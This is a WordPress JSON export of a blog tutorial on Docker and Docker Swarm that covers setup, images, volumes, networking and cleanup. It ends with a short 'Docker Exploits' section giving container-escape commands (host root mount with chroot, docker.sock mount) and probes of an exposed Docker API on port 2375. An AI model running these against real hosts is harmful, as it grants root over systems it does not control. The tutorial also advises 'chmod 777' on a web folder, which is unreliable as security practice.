{"id":163,"date":"2020-09-26T12:40:47","date_gmt":"2020-09-26T12:40:47","guid":{"rendered":"https:\/\/dft.wiki\/?p=163"},"modified":"2026-03-04T18:58:15","modified_gmt":"2026-03-04T23:58:15","slug":"how-to-use-docker","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=163","title":{"rendered":"How to Use Docker and Docker Swarm"},"content":{"rendered":"<p>Docker is by far the most popular application container solution, and Docker Swarm is an integrated functionality of Docker Engine that orchestrates a group of Docker engines into a single virtual Docker engine. It provides high-availability and aggregated computing power of the cluster.<\/p>\n<hr \/>\n<p><strong>DOCKER INSTALLATION<\/strong><\/p>\n<pre>sudo apt update &amp;&amp; sudo apt upgrade -y\r\nsudo apt install docker.io -y<\/pre>\n<hr \/>\n<p><strong>DOCKER SWARM SETUP<\/strong><\/p>\n<p>On the node you want do be the manager of the cluster, initialise Swarm:<\/p>\n<pre>sudo docker swarm init<\/pre>\n<p>Copy and paste the generated command on all other nodes to join the cluster as workers. It will loo like this:<\/p>\n<pre>sudo docker swarm join --token ************************************************************* 192.168.10.10:2377<\/pre>\n<p>Check all the nodes of the cluster:<\/p>\n<pre>sudo docker node ls<\/pre>\n<p>In the future, to add more workers nodes to the cluster, issue the following command from the current manager node to get the command again:<\/p>\n<pre>sudo docker join-token worker<\/pre>\n<p>Or for an additional manager node:<\/p>\n<pre>sudo docker join-token manager<\/pre>\n<p>Finally, to remove a node from the cluster:<\/p>\n<pre>sudo docker swarm leave<\/pre>\n<p>OR<\/p>\n<pre>sudo docker node rm ****************** --force<\/pre>\n<p>If needed to promote (or demote) a standby manager to the current leader:<\/p>\n<pre>sudo docker node promote ******************<\/pre>\n<p>To make a node not legible for running loads:<\/p>\n<pre>sudo docker node update --availability drain<\/pre>\n<p>Or to change it back:<\/p>\n<pre>sudo docker node update --availability active<\/pre>\n<hr \/>\n<p><strong>DOCKER BASIC COMMANDS<\/strong><\/p>\n<p>Note there is no image pulled yet (pull is the term used for download and extract images):<\/p>\n<pre>sudo docker images<\/pre>\n<p>For this exercise, we will use Debian but you can choose Ubuntu, for example:<\/p>\n<pre>sudo docker pull debian<\/pre>\n<p>OR<\/p>\n<pre>sudo docker pull ubuntu<\/pre>\n<p>Since it was not specified the version, the latest released version will be chosen: <em>Downloaded newer image for debian:<strong>latest<\/strong><\/em><\/p>\n<p>Now, if you check the images &#8216;debian:latest&#8217; will be there:<\/p>\n<pre>sudo docker images<\/pre>\n<p>Many Container can be made from the same Image and none of them will make changes in the Image content, but all will use the content of it simultaneously (like a read-only file).<\/p>\n<p><strong>Web Server Example<\/strong><\/p>\n<pre>sudo docker run --name html -d -it -p 80:80 -v ~\/html:\/var\/www\/html debian:latest \/bin\/bash<\/pre>\n<p>Description of the syntax:<\/p>\n<ul class=\"list\">\n<li>sudo docker run\n<ul>\n<li>&#8216;run&#8217; actually created the container.<\/li>\n<\/ul>\n<\/li>\n<li>&#8211;name html\n<ul>\n<li>&#8216;&#8211;name&#8217; is the argument to the name of the container, in this case I called &#8216;html&#8217;.<\/li>\n<\/ul>\n<\/li>\n<li>-d -it\n<ul>\n<li><\/li>\n<\/ul>\n<\/li>\n<li>-p 80:80\n<ul>\n<li>&#8216;-p&#8217; will expose the port that your container is listening to, so any request to the host machine will be forwarded to the container line NAT (port 80 external to 80 internal).<\/li>\n<\/ul>\n<\/li>\n<li>-v ~\/html:\/var\/www\/html\n<ul>\n<li>&#8216;-v&#8217; maps one directory from the host (&#8216;~\/html&#8217;) machine to the docker (&#8216;\/var\/www\/html&#8217;). It is important to keep the files accessible outside the container. You can change the host path to any host you want. You can also add <strong>:ro<\/strong> to make the mounted directory read-only inside the docker.<\/li>\n<\/ul>\n<\/li>\n<li>debian:latest\n<ul>\n<li>the image used to run the docker.<\/li>\n<\/ul>\n<\/li>\n<li>\/bin\/bash\n<ul>\n<li>Bash shell will be attached every time you enter the terminal.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Now, you can see the Docker called &#8216;html&#8217; was already created:<\/p>\n<pre>sudo docker ps -a<\/pre>\n<p>And the &#8216;html&#8217; is also running:<\/p>\n<pre>sudo docker ps<\/pre>\n<p>To enter the terminal and be able to issue commands inside the Docker type:<\/p>\n<pre>sudo docker attach html<\/pre>\n<p>OR<\/p>\n<pre>sudo docker exec -it html bash<\/pre>\n<p>OR if you want to force enter as the <strong>root<\/strong> user:<\/p>\n<pre>sudo docker exec -u 0 -it database bash<\/pre>\n<p>This command will attach the default input and output of the Docker to your terminal. If you type &#8216;exit&#8217; you will end the process. To exit and leave the Docker running type CTRL+P and then CTRL+Q.<\/p>\n<p>Then you install the programs for the Web Server in Docker. Sudo is not necessary because inside the Docker the active user is already &#8216;root&#8217;:<\/p>\n<pre>apt update &amp;&amp; apt upgrade &amp;&amp; apt install nano locate nginx php-fpm -y<\/pre>\n<p>You can remove the current configuration file and create a new one or just make several changes to it:<\/p>\n<pre>rm \/etc\/nginx\/sites-available\/default\r\nnano \/etc\/nginx\/sites-available\/default<\/pre>\n<p>If you removed it, just paste this new content and save the file:<\/p>\n<pre>server {\r\n  listen 80 default_server;\r\n  listen [::]:80 default_server;\r\n  root \/var\/www\/html;\r\n  index index.php index.html index.htm;\r\n  server_name _;\r\n  location \/ {\r\n  autoindex on;\r\n  try_files $uri $uri\/ =404;\r\n}\r\nlocation ~ .php$ {\r\n  include snippets\/fastcgi-php.conf;\r\n  fastcgi_pass unix:\/run\/php\/php<strong>7.3<\/strong>-fpm.sock;\r\n}\r\nlocation ~ \/.ht {\r\n  deny all;\r\n}\r\n}<\/pre>\n<p>To save type CTRL+O and to close the editor type CTRL+X.<\/p>\n<p>Now start both services, PHP interpreter and HTTP server:<\/p>\n<pre>service php<strong>7.3<\/strong>-fpm start\r\nservice nginx start<\/pre>\n<p>If the first service does not start, check the version installed (in bold above) and modify the command the configuration file.<\/p>\n<p>With any web browser enter <a href=\"http:\/\/127.0.0.1\/\">http:\/\/127.0.0.1\/<\/a>. You may see the content of your home directory. According to the new configuration file only index one file to the directory if its name is &#8216;index.php&#8217; or &#8216;index.html&#8217; or &#8216;index.htm&#8217;.<\/p>\n<p>Use the keyboard to exit the Docker and keep it running (CTRL+P and then CTRL+Q) and go to the directory that the website will be placed, remove the file that was automatically created and create one index file:<\/p>\n<pre>sudo chmod 777 -R ~\/html\r\ncd ~\/html\r\nrm index.nginx-debian.html\r\nnano index.php<\/pre>\n<p>Paste this PHP code in the new file:<\/p>\n<pre>&lt;?php\r\nphpinfo();\r\n?&gt;<\/pre>\n<p>This code prints all the configurations of the HTTP server and the PHP interpreter. Go back to the web browser and refresh the page (F5).<\/p>\n<p><strong>Database Example<\/strong><\/p>\n<pre>sudo docker run --name database -d -it -p 3306:3306 -v ~\/mysql:\/var\/lib\/mysql debian:latest \/bin\/bash<\/pre>\n<p>And let&#8217;s go inside the Docker called &#8216;database&#8217; to install the server:<\/p>\n<pre>sudo docker attach database<\/pre>\n<p>OR<\/p>\n<pre>sudo docker exec -it database bash<\/pre>\n<p>Issue the command:<\/p>\n<pre>apt update &amp;&amp; apt upgrade &amp;&amp; apt install nano locate mariadb-server mariadb-client -y\r\nservice mysql start\r\nmysql_secure_installation<\/pre>\n<p>Follow the steps to set a password for root (initially has no password created), remove root accounts that are accessible from outside the localhost, remove anonymous-user accounts and remove the test database.<\/p>\n<p>Test if the MYSQL server is running:<\/p>\n<pre>mysql -u root -p\r\n&gt; SHOW databases;\r\n&gt; quit<\/pre>\n<p>Use the keyboard to exit the Docker and keep it running (CTRL+P and then CTRL+Q).<\/p>\n<p><strong>Examples Summary<\/strong><\/p>\n<pre>sudo docker images\r\nsudo docker ps\r\nsudo docker ps -a\r\nsudo docker ps -as<\/pre>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" class=\"wp-image-197\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/image-28-1024x301-1.png\" alt=\"\" \/><\/figure>\n<p>In summary:<\/p>\n<ul class=\"list\">\n<li>1: There is only one Image in your system, even if this image is been used in more than one Container. This image cannot be removed unless all the dependent Container is removed.<\/li>\n<li>2: This shows that at this time only one Container is running.<\/li>\n<li>3: There are three Containers in the system, all based on the same Debian Image. The Container colled &#8217;empty&#8217; was created just to show the initial size of one empty Container.<\/li>\n<li>4: List all the Containers with the current size. Note, the empty Container has the same size as the Image. And it grows as much as new programs and files were added on it. That is another reason to keep the data files from the server outside of the docker (the folders &#8216;~\/html&#8217; and &#8216;~\/mysql&#8217;).<\/li>\n<\/ul>\n<p>To stop the docker:<\/p>\n<pre>sudo docker stop html<\/pre>\n<p>OR<\/p>\n<pre>sudo docker stop database<\/pre>\n<p>To start the Docker after stop or reboot of host machine:<\/p>\n<pre>sudo docker start html\r\nsudo docker exec -d html \/etc\/init.d\/php7.3-fpm start\r\nsudo docker exec -d html \/etc\/init.d\/nginx start<\/pre>\n<p>OR<\/p>\n<pre>sudo docker start database\r\nsudo docker exec -d mysql service mysql start<\/pre>\n<p>Note: after the Docker be started, the services in it will not start automatically. The command &#8216;exec&#8217; informs the Docker to execute the following command inside, for example: <code>service mysql start<\/code> or <code>\/etc\/init.d\/nginx start<\/code>.<\/p>\n<p><strong>Examples Cleanup<\/strong><\/p>\n<pre>sudo docker stop html\r\nsudo docker stop database\r\nsudo docker rm html\r\nsudo docker rm database\r\nsudo docker rmi debian<\/pre>\n<p><strong>Debugging<\/strong><\/p>\n<pre>sudo docker logs dockerName\r\nsudo docker stats dockerName<\/pre>\n<hr \/>\n<p><strong>DOCKER IMAGES<\/strong><\/p>\n<ul>\n<li><strong>commit<\/strong>\n<ul>\n<li>Creates an image from a running container.<\/li>\n<li>sudo docker <strong>commit<\/strong> -p [container-id] backup_image<\/li>\n<\/ul>\n<\/li>\n<li><strong>tag<\/strong>\n<ul>\n<li>Create a tagged image that refers to the source image.<\/li>\n<li>sudo docker <strong>tag<\/strong> backup_image localhost:5000\/bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>push<\/strong>\n<ul>\n<li>Shares the image to the Docker Hub registry or to a self-hosted.<\/li>\n<li>sudo docker <strong>push<\/strong> bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>pull<\/strong>\n<ul>\n<li>Pulls a pulled image from the Docker Hub registry or to a self-hosted.<\/li>\n<li>sudo docker <strong>pull<\/strong> localhost:5000\/bkp-img:v1<\/li>\n<\/ul>\n<\/li>\n<li><strong>save<\/strong>\n<ul>\n<li>Save the image to a TAR file.<\/li>\n<li>sudo docker <strong>save<\/strong> -o backup_image.tar backup_image<\/li>\n<\/ul>\n<\/li>\n<li><strong>load<\/strong>\n<ul>\n<li>Extract the image from a TAR file.<\/li>\n<li>sudo docker <strong>load<\/strong> -i \/tmp\/backup_image.tar<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>See the full list of commands in Docker Docs [<a href=\"https:\/\/docs.docker.com\/engine\/reference\/commandline\/docker\/\">Link<\/a>].<\/p>\n<hr \/>\n<p><strong>DOCKER FILE<\/strong><\/p>\n<p>A Dockerfile is used to create an image. See example:<\/p>\n<pre>FROM nginx:alpine\r\nADD . \/usr\/share\/nginx\/html\r\nRUN mkdir \/app\r\nWORKDIR \/app\r\nCOPY script.sh .\r\nCMD script.sh<\/pre>\n<p><strong>Note:<\/strong> the commands ADD and COPY are very similar but as a good practice, COPY should always be used unless the special features of ADD in needed: <strong>handle URL<\/strong> as source, or <strong>extracting the content of a TAR<\/strong> file to the destination.<\/p>\n<p>The Dockerfile has no extension.<\/p>\n<p>Creating a .dockerignore to prevent some files to be added to the build.<\/p>\n<pre>Dockerfile\r\n.git\r\nanotherfile.zip\r\n*.php\r\nand_so_on.txt<\/pre>\n<p>Then build your image:<\/p>\n<pre>sudo docker build --tag webserver:latest .<\/pre>\n<p>The &#8220;.&#8221; (dot at the end) informs where the Docker file is located, in this case in the current directory.<\/p>\n<p>TIP: Consider using the very lightweight ALPINE when possible, mainly if it will run on RaspberryPi Zero. Read more about it [<a href=\"https:\/\/alpinelinux.org\/\">Link<\/a>].<\/p>\n<hr \/>\n<p><strong>PERSISTENT DATA<\/strong><\/p>\n<p>All the data stored in the container by default will be destroyed after the container is deleted.<\/p>\n<p>There are two main alternatives to this issue:<\/p>\n<ul>\n<li>Mount a <strong>local directory<\/strong> inside the container and keep the desired data outside it. It is also called <em>host volumes<\/em> or <em>bind volumes<\/em> but it is not a volume;<\/li>\n<li>Create a <strong>volume<\/strong> to be attached to a container.<\/li>\n<\/ul>\n<p>On the preview examples, a local directory was mounted the container using the argument <strong>-v<\/strong>:<\/p>\n<pre>sudo docker run --name database -d -it -p 3306:3306 <strong>-v ~\/mysql:\/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<p>The local directory \/home\/my_user_id\/mysql (<strong>~\/mysql<\/strong> for short) was available inside the container at the location <strong>\/var\/lib\/mysql<\/strong>.<\/p>\n<p>If the docker crashes or gets deleted the data will be safe and can be easily backup or migrate.<\/p>\n<p>Volumes types:<\/p>\n<ul>\n<li>Anonymous:\n<ul>\n<li>The volume will be automatically created but the name will be a random hash which makes it difficult to manage.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker run --name database -d -it -p 3306:3306 <strong>-v \/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<ul>\n<li>Named:\n<ul>\n<li>First, create it with the desired name then run the container.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker volume create <strong>volume_name<\/strong>\r\nsudo docker run --name database -d -it -p 3306:3306 <strong>-v volume_name:\/var\/lib\/mysql<\/strong> debian:latest \/bin\/bash<\/pre>\n<hr \/>\n<p><strong>PORT MAPPING<\/strong><\/p>\n<p>Dockers are always attached to an network type:<\/p>\n<ul>\n<li>Bridge (default)\n<ul>\n<li>It uses a mapped port from the host to the container.<\/li>\n<li>On the preview examples, the host port <strong>3306<\/strong> was mapped to the same port in the container using the argument <strong>-p<\/strong>:<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre>sudo docker run --name database -d -it <strong>-p 3306:3306<\/strong> -v volume_name:\/var\/lib\/mysql debian:latest \/bin\/bash<\/pre>\n<ul>\n<li>Host\n<ul>\n<li>The docker will be available only internally in an overlay network and will require a service to created and load balance the traffic.<\/li>\n<li>If this is the case, I recommend using an orchestrator such as K3s or K8s instead of doing it manually.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>None\n<ul>\n<li>As the name implies, there is no network.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<hr \/>\n<p><strong>EMBEDDED DNS<\/strong><\/p>\n<p>The important thing to know about the embedded DNS is that the docker automatically resolves names based on the names of the containers.<\/p>\n<p>Always give a meaningful name to the containers and use them as addresses instead of the internal IP because there is no guarantee that the containers will get the same IP every time.<\/p>\n<hr \/>\n<p><strong>BASIC TIPS AND TRICKS<\/strong><\/p>\n<ul>\n<li>Start choosing solid hardened base images (most are poorly written),<\/li>\n<li>Consider using <code>podman<\/code> instead of <code>docker<\/code> command to run containers not as root whenever possible,<\/li>\n<li>Always use official images from certified authors (otherwise they might contain malicious code and backdoors),<\/li>\n<li>Updating and upgrading the image right after pulling is always a good idea,<\/li>\n<li>Check for default configurations and apply all the best practices in the market to the necessary applications and services,<\/li>\n<li>That being said, stop\/disable\/remove all unnecessary services,<\/li>\n<li>Run multiple security scans against your image, such as:\n<ul>\n<li>Docker Scan &#8211; A native feature of Docker (example <code>sudo docker scan ubuntu:latest<\/code>).<\/li>\n<li>Trivy [<a href=\"https:\/\/aquasecurity.github.io\/trivy\/v0.22.0\/\">Link<\/a>] &#8211; Available directly from GitHub or as a Docker container.<\/li>\n<li>Anchore Grype [<a href=\"https:\/\/github.com\/anchore\/grype\/\">Link<\/a>] &#8211; Inline script execution that created a Docker container.<\/li>\n<li>Docker Bench [<a href=\"https:\/\/github.com\/docker\/docker-bench-security\">Link<\/a>]<\/li>\n<\/ul>\n<\/li>\n<li>Create your own base image from all you have worked on to be the standard for your projects.<\/li>\n<\/ul>\n<hr \/>\n<p><strong>DOCKER CLEAN UP<\/strong><\/p>\n<p>Remove unused assets.<\/p>\n<pre>sudo docker container prune\r\nsudo docker volume prune\r\nsudo docker image prune\r\nsudo docker network prune\r\nsudo docker builder prune\r\nsudo docker system prune\r\nsudo docker system prune -a --volumes<\/pre>\n<hr \/>\n<p><strong>DOCKER SWARM BASIC COMMANDS<\/strong><\/p>\n<p><strong>Service<\/strong><\/p>\n<p>On production, containers are not manually executed, but the concept of services will define what is needed, and the orchestrator (Swarm) will make it happen. A service might contain multiple containers.<\/p>\n<p>Create a simple service manually:<\/p>\n<pre>sudo docker service create --name http --publish 8000:80 nginx<\/pre>\n<p>List all existing services:<\/p>\n<pre>sudo docker service ls<\/pre>\n<p>Scaling a service (setting the number of running instances):<\/p>\n<pre>sudo docker service scale http=10<\/pre>\n<p>Removing a service:<\/p>\n<pre>sudo docker service rm http<\/pre>\n<p>Defining the number of replicas en version on the creation:<\/p>\n<pre>sudo docker service create --replicas 5 --name http php:7.4-cli<\/pre>\n<p>Updating the version of the image:<\/p>\n<pre>sudo docker service update --image php:8.0-cli --update-delay 5s http<\/pre>\n<p><strong>Stack<\/strong><\/p>\n<p>The concept of stack is even broader than a service because it may contain many more resources: network, services, etc.<\/p>\n<pre>sudo docker stack deploy -y application_stack.yaml application_stack<\/pre>\n<p>Use the same command to update a stack after making changes to it YAML configuration. <span style=\"text-decoration: underline;\">The orchestrator will only apply the changes to the desired state<\/span> (NOT re-deploy everything).<\/p>\n<p>Example of a stack file:<\/p>\n<pre>version: '3.7'\r\n\r\nservices:\r\n  nginx:\r\n    image: nginx:latest\r\n    ports:\r\n      - \"80:80\"\r\n      - \"443:443\"\r\n    networks:\r\n      - nginx-net\r\n    deploy:\r\n      replicas: 3\r\n      update_config:\r\n        parallelism: 1\r\n        delay: 5s\r\n      restart_policy:\r\n        condition: on-failure\r\n\r\nnetworks:\r\n  nginx-net:\r\n    driver: overlay\r\n<\/pre>\n<hr \/>\n<p><strong>BONUS<\/strong><\/p>\n<p>Create your own speed test server.<\/p>\n<ul>\n<li>Open-source solution LibreSpeed [<a href=\"https:\/\/github.com\/librespeed\/speedtest\">Link<\/a>]:<\/li>\n<\/ul>\n<pre>sudo docker run -e MODE=standalone -p 80:80 -it adolfintel\/speedtest<\/pre>\n<ul>\n<li>Open-source solution OpenSpeedTest [<a href=\"https:\/\/openspeedtest.com\/\">Link<\/a>]:<\/li>\n<\/ul>\n<pre>docker run --restart=unless-stopped --name=openspeedtest -d -p 80:3000 openspeedtest\/latest<\/pre>\n<p>It is OK to be lazy. Use LazyDocker for a terminal-graphic experience that might save you a lot of time and typing [<a href=\"https:\/\/github.com\/jesseduffield\/lazydocker\">Link<\/a>] [<a href=\"https:\/\/linuxtldr.com\/lazy-docker\/\">Link<\/a>]. Yes, it has mouse support!<\/p>\n<pre>wget https:\/\/github.com\/jesseduffield\/lazydocker\/releases\/download\/v0.24.1\/lazydocker_0.24.1_Linux_x86_64.tar.gz\r\ntar zxvf lazydocker_0.24.1_Linux_x86_64.tar.gz lazydocker\r\nsudo mv lazydocker \/bin\/\r\nsudo lazydocker<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-4775\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32.png\" alt=\"\" width=\"914\" height=\"544\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32.png 914w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32-300x179.png 300w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2020\/09\/Screenshot-From-2025-04-11-17-44-32-768x457.png 768w\" sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/p>\n<p>Self-host a local registry mirror to avoid transfer limits and increase performance for repeated operations.<\/p>\n<pre>sudo docker pull registry\r\nsudo docker run -d -p 5000:5000 --restart always --name registry registry<\/pre>\n<p>For Docker<\/p>\n<pre>sudo nano \/etc\/docker\/daemon.json<\/pre>\n<pre>{\r\n  \"registry-mirrors\": [\r\n    \"http:\/\/localhost:5000\"\r\n  ]\r\n}<\/pre>\n<pre>sudo systemctl restart docker<\/pre>\n<p>For Podman<\/p>\n<pre>sudo nano $HOME\/.config\/containers\/registries.conf<\/pre>\n<pre>[[registry.mirror]]\r\nlocation = \"localhost:5000\"<\/pre>\n<p>The problem with both solutions above is that they require SSL\/TLS (HTTPS) to serve the clients. To fix that, use a reverse proxy instead.<\/p>\n<pre>sudo docker system info\r\nsudo docker pull ubuntu\r\nsudo docker rmi ubuntu\r\nsudo docker pull ubuntu<\/pre>\n<ul>\n<li>Setting External DNS for Docker<\/li>\n<\/ul>\n<p>At runtime.<\/p>\n<pre>docker run --dns 8.8.8.8 containerImageName<\/pre>\n<p>To the whole engine.<\/p>\n<pre>sudo nano \/etc\/docker\/daemon.json<\/pre>\n<pre>{\r\n  \"dns\": [\"8.8.8.8\", \"1.1.1.1\"]\r\n}<\/pre>\n<pre>sudo systemctl restart docker<\/pre>\n<ul>\n<li>Docker Exploits<\/li>\n<\/ul>\n<p>The following container is essentially a Trojan Horse that mounts the host&#8217;s entire file system\u00a0and runs as root.<\/p>\n<pre>docker run -v \/:\/mnt --rm -it alpine chroot \/mnt sh<\/pre>\n<p>Or grant unrestricted direct\u00a0access to the host\u2019s Docker daemon.<\/p>\n<pre>docker run -v \/var\/run\/docker.sock:\/var\/run\/docker.sock --rm -it alpine sh<\/pre>\n<p>Identifies and connects to a remote Docker engine that is not properly locked down.<\/p>\n<pre>nmap -sV -p 2375 10.10.10.10\r\ncurl http:\/\/10.10.10.10:2375\/version\r\ndocker -H tcp:\/\/10.10.10.10:2375 ps<\/pre>\n<p>Prints syscall capabilities.<\/p>\n<pre>capsh --print<\/pre>\n<p>Sample output of a privileged environment:<\/p>\n<pre>Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep\r\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read\r\nSecurebits: 00\/0x0\/1'b0\r\n secure-noroot: no (unlocked)\r\n secure-no-suid-fixup: no (unlocked)\r\n secure-keep-caps: no (unlocked)\r\nuid=0(root)\r\ngid=0(root)\r\ngroups=0(root)<\/pre>\n<hr \/>\n<p><strong>READ ALSO<\/strong><\/p>\n<p>Snap vs Docker vs Multipass [<a href=\"https:\/\/dft.wiki\/?p=189\">Link<\/a>]<\/p>\n<p>Managing Docker with Yacht [<a href=\"https:\/\/dft.wiki\/?p=1499\">Link<\/a>]<\/p>\n<p>NextCloud using Docker [<a href=\"https:\/\/dft.wiki\/?p=183\">Link<\/a>]<\/p>\n<p>Kubernetes Cheat Sheet [<a href=\"https:\/\/dft.wiki\/?p=1372\">Link<\/a>]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Docker is by far the most popular application container solution, and Docker Swarm is an [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,6],"tags":[],"class_list":["post-163","post","type-post","status-publish","format-standard","hentry","category-linux","category-raspberry-pi"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=163"}],"version-history":[{"count":31,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions"}],"predecessor-version":[{"id":5346,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/163\/revisions\/5346"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}